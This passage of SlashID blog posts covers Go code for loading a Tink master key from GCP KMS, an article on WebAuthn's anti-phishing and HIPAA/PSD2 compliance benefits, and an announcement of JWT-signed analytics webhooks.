       log.Fatalf("Failed to initialize token keysets")
   }

   err = StartServer(apiHandler)
   if err != nil {
       log.Fatalf("Server encountered an error: %s", err.Error())
   }
}

We will not worry too much about getting the configuration from the environment variables for now - however, we are missing the master key, which we need to construct our keysets repo.

As discussed above, the master key is used to encrypt your signing keysets, and so it is essential that it is kept securely and safely. If you were to lose the master key, all of your signing keysets would become inaccessible and unusable. It is therefore recommended that you store the master key in a secure key management service (KMS). KMSs are offered as features by cloud providers (e.g., GCP, AWS) and so can be integrated as part of your cloud deployment.

For local testing, it is possible to create keysets and store them in plaintext in local files. The example repo contains code for doing this to help you try out the service locally. However, this is not safe for non-testing scenarios!

We will use the GCP KMS as an example:

func getMasterKey(conf *config) tink.AEAD {
   gcpClient, err := gcpkms.NewClientWithOptions(context.Background(), conf.keyURIPrefix)
   if err != nil {
       log.Fatal(err)
   }
   registry.RegisterKMSClient(gcpClient)

   masterKey, err := gcpClient.GetAEAD(conf.masterKeyURI)
   if err != nil {
       log.Fatalf("Failed to retrieve master key: %s", err.Error())
   }

   return masterKey
}

The masterKey we return here implements the tink.AEAD interface for encrypting and decrypting. However, we do not have the master key itself locally - that must be kept safely in the KMS. Instead, the data to be encrypted/decrypted is transmitted to and from the KMS behind the scenes.

Conclusion

In this blogpost, we have laid out the essential steps to get started using Tink with JWTs, including:

Creating Tink keysets for signing and verifying keys
Safely storing these keysets
Using the Signer and Verifier interfaces for JWTs
Using a KMS to store master keys

Our next blogpost in the series will build on this, looking at key management (in particular, key rotation), and taking a deeper dive into the structure of a Tink keyset.

The Security and Regulatory Compliance Benefits of WebAuthn

Vincenzo Iozzo, SlashID Team — Wed, 14 Sep 2022 00:00:00 GMT

Introduction

WebAuthn is a standard first published by the W3C in 2016. Its primary goal is a safe user-authentication method for web applications using public-key cryptography.

Most browsers (the estimated coverage at the time of writing is ~93%) support WebAuthn, however it has not yet been widely adopted by websites.

While there are a number of adoption challenges that we will discuss in a separate post, this article will focus on the significant security and compliance advantages that WebAuthn provides.

WebAuthn, in a nutshell

WebAuthn enables safe public-key cryptography inside the browser directly from JavaScript through an interface exposed via navigator.credentials. This is what happens under the hood when your user registers a new account on a website with WebAuthn:

The browser interacts with an Authenticator, which can either be a Platform Authenticator (such as Windows Hello, TouchID, FaceID and similar) or an external/Roamining Authenticator such as a Yubikey or a Titan Key.
The Authenticator generates a key pair, stores the private key in a secure location and returns the public key to the server via the browser API.

Any time a user wants to log-in, they sign a blob with their private key stored on their device and the remote server verifies the authenticity of the blob by checking its signature through the public key obtained in the registration process.

HIPAA and PSD2 authentication requirements

Both Healthtech and fintech are booming yet highly-regulated fields. Both sectors must comply with strict information security standards across the world. Two of the better known standards are the Health Insurance Portability and Accountability Act (HIPAA), regulating the security of Personal Health Information (PHI) in US healthcare sector, and the Payment Services Directive (PSD2) for EU financial services, both of which mandate a strong authentication policy.

It is beyond this article's purview to describe who must comply with these regulations or their broader scope, so in this section we will simply focus on the authentication requirements that both laws mandate.

HIPAA mandates service providers to: “Implement procedures to verify that a person or entity seeking access to electronic protected health information is the one claimed” (Security Standard §164.312(d))

The US Department of Health and Human Services published additional verification standard guidance, stating that an user can be verified in one of three ways, by requiring:

Something known only to that individual, such as a password or PIN.
Something that an individual possesses, such as a smart card, a token, or a key.
Something unique to the individual such as a biometric. Examples of biometrics include fingerprints, voice patterns, facial patterns or iris patterns.

By design, WebAuthn satisfies two out of the above three requirements out of the box. In fact, WebAuthn requires a device authenticator (e.g.,: FaceID, Windows Hello, TouchID) or a security key because that is where the private portion of the key as well as the ability to unlock that key which depending on the device is guarded either by a password/PIN or by biometrics.

WebAuthn is the perfect authentication method to satisfy HIPAA requirements, not only because it covers two out of three requirements but also because it makes credentials unfishable further increasing the security posture of the user.

PSD2 requires covered entities to protect their users through Strong Customer Authentication (SCA).

PSD2 states:

Where payment service providers apply strong customer authentication in accordance with Article 97(1) of Directive (EU) 2015/2366, the authentication shall be based on two or more elements which are categorized as knowledge, possession and inherence and shall result in the generation of an authentication code. In order to ensure the application of strong customer authentication, it is also necessary to require adequate security features for the elements of strong customer authentication categorized as ‘knowledge’ (something only the user knows), such as length or complexity, for the elements categorized as ‘possession’ (something only the user possesses), such as algorithm specifications, key length and information entropy, and for the devices and software that read elements categorized as ‘inherence’ (something the user is) such as algorithm specifications, biometric sensor and template protection features, in particular to mitigate the risk that those elements are uncovered, disclosed to and used by unauthorised parties. It is also necessary to lay down the requirements to ensure that those elements are independent, so that the breach of one does not compromise the reliability of the others, in particular when any of these elements are used through a multi-purpose device, namely a device such as a tablet or a mobile phone which can be used both for giving the instruction to make the payment and in the authentication process.

So how does WebAuthn help with PSD2-compliance? The most clear-cut answer is that WebAuthn using an external key such as a Yubikey or a Titan key covers two out of the three PSD2 requirements, depending on the authenticator: either possession and inherence or possession and knowledge.

The European Banking Authority is responsible for promulgating the RTS, the technical standards that govern SCA. However, individual member states are responsible for the laws and regulations that implement RTS. So, from a practical perspective, individual countries’ data regulators can and do alter their advised standards, and so each individual EU country might take a slightly different view on WebAuthn with a platform authenticator.

On the one hand, modern devices store WebAuthn private keys in a separate TPM (Trusted Platform Module) that remains uncompromised even when the phone itself is. On the other hand, compromising the phone can still lead to social engineering attacks that trick the user into authorizing WebAuthn transactions.

However, compromising a device will still lead to the compromise of any knowledge factor (e.g., a password). As such, we believe that WebAuthn with a platform authenticator on modern devices offers as much breach-independence as any other knowledge factor and can likely be used as the sole authentication mechanism for satisfying SCA requirements.

WebAuthn Anti-Phishing Properties

WebAuthn provides strong protection against phishing attacks. All compliant browsers enforce a number of security checks.

First of all, WebAuthn doesn’t work without TLS. Further, browsers enforce origin checks and most browsers will prevent access to the platform authenticator unless the window is in focus or, in the case of Safari/Apple devices, the user triggers an action.

In other words, an attacker trying to compromise user credentials will need to either find a cross-site scripting (XSS) bug in the target website or a vulnerability in the browser which is a very high barrier to overcome. This is the only way in which they can bypass the WebAuthn checks or perform a universal cross-site scripting (UXSS) attack.

In either scenario, a successful attack still won't give the attacker access to the private key itself, but instead only a session token/cookie which will expire once the browsing session is over.

In comparison to all other authentication methods – where an attacker only has to register a seemingly related domain and have a similar looking webpage to fool the victim through phishing – it is clear that WebAuthn is a vastly superior authentication method.

Key Storage and Anti-Credential Stuffing

As hinted above, one key characteristic of WebAuthn in modern devices is that private keys never leave the secure storage they are created in. How this happens is implementation-dependent, but the guarantee is that, barring a compromise of the secure element itself and not solely of the operating system, the private key cannot be extracted.

The bar for compromising a secure element is extremely high. For example, the secure element inside iOS devices has had only two public bugs since it was created.

For instance, WebAuthn keys on iOS are stored in a system called Secure Enclave, which is separate from the main processor and which is capable of preserving the integrity of the data even in the event of a device compromise. The Secure Enclave is the same system that stores Apple Pay and FaceID data.

Further, unlocking access to a WebAuthn credential requires the user to confirm their identity either through FaceID or TouchID (depending on the device model). In both cases, the communication between the biometric device and the Secure Enclave happens over a physical serial peripheral bus over an encrypted channel, and the data never leaves the Secure Enclave, where it is verified against a 2D representation of the original biometric data.

While the example above specifically discusses Apple devices, similar security guarantees are provided by other Authenticators (whether platform or roaming), which make WebAuthn key extraction and, hence, credential stuffing attacks exceedingly difficult and unlikely, even in the event of full device compromise.

Conclusion

WebAuthn easily allows companies to comply with many regulatory frameworks such as HIPAA and PSD2 without relying on insecure passwords or requiring too many authentication factors from the user.

Additionally, it is clear that WebAuthn is a game-changer in authentication and it is by far the most secure authentication method available today. By employing WebAuthn, we can almost entirely remove credential stuffing, account takeover (ATO) and phishing attacks.

SlashID Analytics Webhooks

Joseph Gardner, Vincenzo Iozzo — Sat, 10 Jun 2023 00:00:00 GMT

We are excited to release SlashID analytics and webhooks, providing greater visibility and actionable insights into your authentication flows. In this blog post, we will showcase our new features and how you can use them by answering four questions: why, what, how, and when.

The Why

If you’re reading this, there’s a good chance that authentication is a core step of your business logic, whether you’re selling products or controlling access to sensitive information and systems.

Having deep and instant visibility on which users login at the time they login can make a great difference to your business, and you may wish to take specific actions in response to specific user behaviors.

SlashID analytics does just this: with first-party visibility into your authentication flows, you can get crucial insights into the experience of your user base on your platform.

These are just a few example use cases for SlashID analytics:

Monitor authentication failures to redirect users to appropriate support channels
Welcome new users with personalized messages and flows when they register for the first time
Keep audit trails for compliance purposes
Monitor the success of marketing campaigns that use DirectID

There are many more, and as a result we have designed our analytics to be flexible, while maintaining a straightforward developer experience.

Our analytics events include a correlation ID that you can use to tie together events from a single browser session, to follow each step of your users’ journey through your authentication and onboarding flows.

The What: SlashID Events

SlashID exposes analytics information through events – simple messages telling you that something happened. For example, the AuthenticationSucceeded event indicates that a user successfully logged in to your application.

All of our events are defined using protobuf, which we publish in our documentation. You can download these definitions and use them to generate code for handling events, or simply use them as reference.

Our initial release includes a few core events that cover the key steps of identity and authentication:

Authentication Succeeded
Authentication Failed
Person Created
Virtual Page Loaded

We will be adding more in the near future to further enrich your analytics.

The How: Webhooks

You can consume SlashID events by registering webhooks for your organization. You can create a webhook with two simple API calls:

Create a webhook with a target URL
Specify a trigger for that webhook (for example, an AuthenticationSucceeded event)

Each webhook can have multiple triggers, and multiple webhooks can consume the same trigger, so you’re free to configure your webhooks in whatever way suits your requirements. Once you have registered your webhook, it will be called on each relevant trigger.

For step-by-step instructions, read our webhooks guide.

Security First

One of the key aspects of handling webhooks from any provider is security – you must verify that the webhook request originated from a trusted provider, and that the content has not been tampered with. Unfortunately, not all providers make this possible, and when they do, the process is rarely straightforward. At SlashID we take a security-first approach, so we made webhook verification easy and safe.

The common approach to webhook verification is to send a request with a JSON payload, with a signature embedded somewhere in the request. The signature is based on some concatenation of the JSON body, the URL, and possibly other information, and the process of generating/verifying the signature is often based on a shared secret. This makes your life difficult in myriad ways: you need to manage a secret; you need to either re-implement the verification logic or depend on a library from the provider (assuming they publish one in the language you use); and you’ll probably need to reimplement it anyway for testing. On top of this, there’s no standard for signing HTTP requests, so each provider has their own way of doing it. In one word, it’s a nightmare.

At SlashID, we use a JSON Web Token (JWT) – just like for our authentication tokens. JWTs are a well-known and widely used standard for securely exchanging information between parties, and pretty much every language has at least one library for handling them. The request body of the webhook call is a signed and encoded JWT. To verify a SlashID webhook call, simply retrieve the verification key and use your library of choice to check the signature and get the JWT payload. Once decoded, you can check the content of the webhook is what you expect. Easy.

The decoded payload includes some metadata about the call (such as your organization ID and timestamps), and a field called trigger_content, with information about whatever triggered the webhook. For an event, this would be the contents of the event, as in our event definitions. For more detail, see our webhooks guide.

The When: Event Publishing

SlashID publishes events in response to user interactions with your frontend using the SlashID SDK, and from our backend. In most cases events are published automatically and asynchronously behind the scenes, so you don’t need to worry about them. If you want to keep track of page views (for example to monitor the progress of your users through the funnel), the VirtualPageLoaded event should be published by calling the corresponding method in the SDK. If you are building a single page application, this method can be called every time client side navigation happens.

Summary

With this release, you can use webhooks to consume SlashID analytics events. We will be adding more events and features in the near future, so stay tuned for release announcements.

Ready to try SlashID? Sign up here!

Is there a feature you’d like to see, or have you tried out analytics and have some feedback? Let us know!